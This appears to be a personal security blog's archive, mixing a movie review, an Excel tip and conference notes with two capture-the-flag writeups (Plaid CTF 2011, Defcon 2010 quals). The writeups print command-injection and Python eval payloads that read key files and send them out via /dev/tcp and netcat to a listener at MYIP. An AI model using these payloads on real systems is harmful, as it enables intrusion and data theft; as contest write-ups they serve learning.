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Plaid CtF 2011 – Writeup #16

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The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web

The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

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A disaster called Silsilay

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Silsilay, the latest movie by Khalid Mohammed, a critic famous for his Sunday Times articles, is a disaster to say the least. Mr.Mohammed, who has torn apart most of the movies in his journalism career, to my disappointment, has not proven himself any better than the pack he tore apart. I think if he himself saw the movie impartially he probably would have given it negative five stars.
Silsilay, as the movie is called, is a movie of three stories running one after the other albeit aimlessly. The first story is of a film actress (Bhoomika Chawla) who falls in love with a bookie (Rahul Bose) who is two-timing his girl-friend, who in turn is two-timing him…sounds complex…don’t bother…it’s not complex but just kiwi drainex!
The second story is of a young girl (Riya Sen) who looks stunning in the movie and is afraid to lose her virginity and is consoled by her overly promiscuous friend to do *it*. Ashmit Patel steps into the story as her boy toy (read “snuggies”) and Jimmy Shergill, who is her co-worker from work and is looking to gain her attention. Some good (aimless) smooches result between Ashmit and Riya and Khalid Mohammed succeeds in spinning a story that is as ridiculous as Riya and Ashmit’s acting. For god’s sake Riya, Nirma soap advertisements were better!
As if the torture was not enough, Mr.Mohammed had a life-saver (or at least as he thought) a still more ridiculous story. Well, some B-grade films would have called this 3rd story a *saga*…but I frankly think that Khalid Mohammed doesn’t think!
It’s a combination of a love triangle…sorry…love quadrilateral with a diagonal (please figure out what this means on your own…watching the movie wouldn’t help anyway). In this story Tabu plays a housewife whose husband (KK) is going out with a (super hot) air hostess (Celina Jaitley) and whose son suffers from Oedipus Complex ( where a person falls in love with his own mother). As if this carcass did not stink the theatres…there was more bull**** coming across in the form of Shah Rukh Khan in between stories and scenes. Mr. Khan there are many ways to win Filmfare awards…this is probably the last way to *buy* the awards. Mr.Khan does a saving act by signalling to the audience how he behaves when nature calls arrive…how he insanely goes about dancing for no reason whatsoever.
This is all a part of the crap that I call Silsilay!
-Rajat.
Awesome Japanese Artifacts!

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Projects…interjects!

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Come end of semester and the project deadlines start impending! The situation I am in is one of great thrill and rush! For the CS558L I’m doing this project in which I have to implement an automated worm fingerprinting mechanism but not only that combining it with ITrace I want to make Worm attacks and DDoS attacks a thing of past!
The scheme in plain English is to detect automatically if your network is being attacked by looking at the traffic and if so communicate this information to whoever you are forwarding this packet to! The ICMP messages that will be forwarded will carry information about who sent this traffic and other such information (including the signature of attack traffic). The receiver with all this information could gather the source of attacks. If all the routers followed this scheme then we will be able to reconstruct the entire path of the attack so the entry point of the attack could also be sealed….(hopefully leading to a Worm and DDoS attack-free internet)!!!
Really hopeful…aren’t I??? 😉
But again this technique has the same single flaw as the other techniques in that it needs co-operation between ISPs.
I am currently coding this scheme in the Linux Kernel 2.6.11.7 and this is my first tryst with linux kernel programming…let’s see what future holds for me!

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Something new that I learnt in Excel

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While my roommate was doing an excel sheet I came to know of an interesting thing:
If you wanted to transpose rows and columns in an excel file (i.e. interchange rows and columns) just select all the rows and columns that you want to be interchanged and copy them. Then select another cell outside the selected range and right-click. Then click on “Paste Special” and then click on the check box on “Transpose”. That’s it!

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The Next Hope

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This was my first hope conference (The Next HOPE Conference)despite being in New York City for more than half a decade. Always it seemed that work would send me out of town just before the con. However, this time around I had the good fortune of being in the city during the conference.
There were a few good talks some of which were not so technical but kindled the questions for privacy fanatics.
The talks I attended included Alessio Pennasilico’s talk about DDoS attack on Bakeca.it, Modern Crimeware and Tools talk by Alexander Heid, Steven Rambam’s talk on Privacy is Dead, Blaze Mouse Cheswick et. al’s talk which was abstract but awesome. I did attend a few more talks and it was fun. All in all a great conference.

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CEPT Certified!

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I finally got the Certified Expert Penetration Tester (CEPT) with a good score on the practical. There were two parts to the certification : an objective multiple choice written test and a practical. To qualify one needs 70% on the written and 70% on the practical portion of the test.
The written test was not too challenging if you follow the material taught at the InfoSec Institute’s Advanced Ethical Hacking course, however, the practical made up on the lack of challenge. The practical involved writing an unpublished stack overflow exploit for a real-world commercial software of IACRB’s choosing, a format string exploit for a custom application and writing a patch for windows binary to subvert registration mechanism on the binary. One could write the exploit in the form of a python script (that I chose), a shell script , a perl script or a binary written in a language of our choosing. The solution could be quite flexible when it came to the choice of language for writing the exploits.
Personally speaking, this was a great learning experience for me and I plan to continue learning in the interesting field of vulnerability development!

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Pwtent Pwnable 200 Writeup CTF Quals 2010

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This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.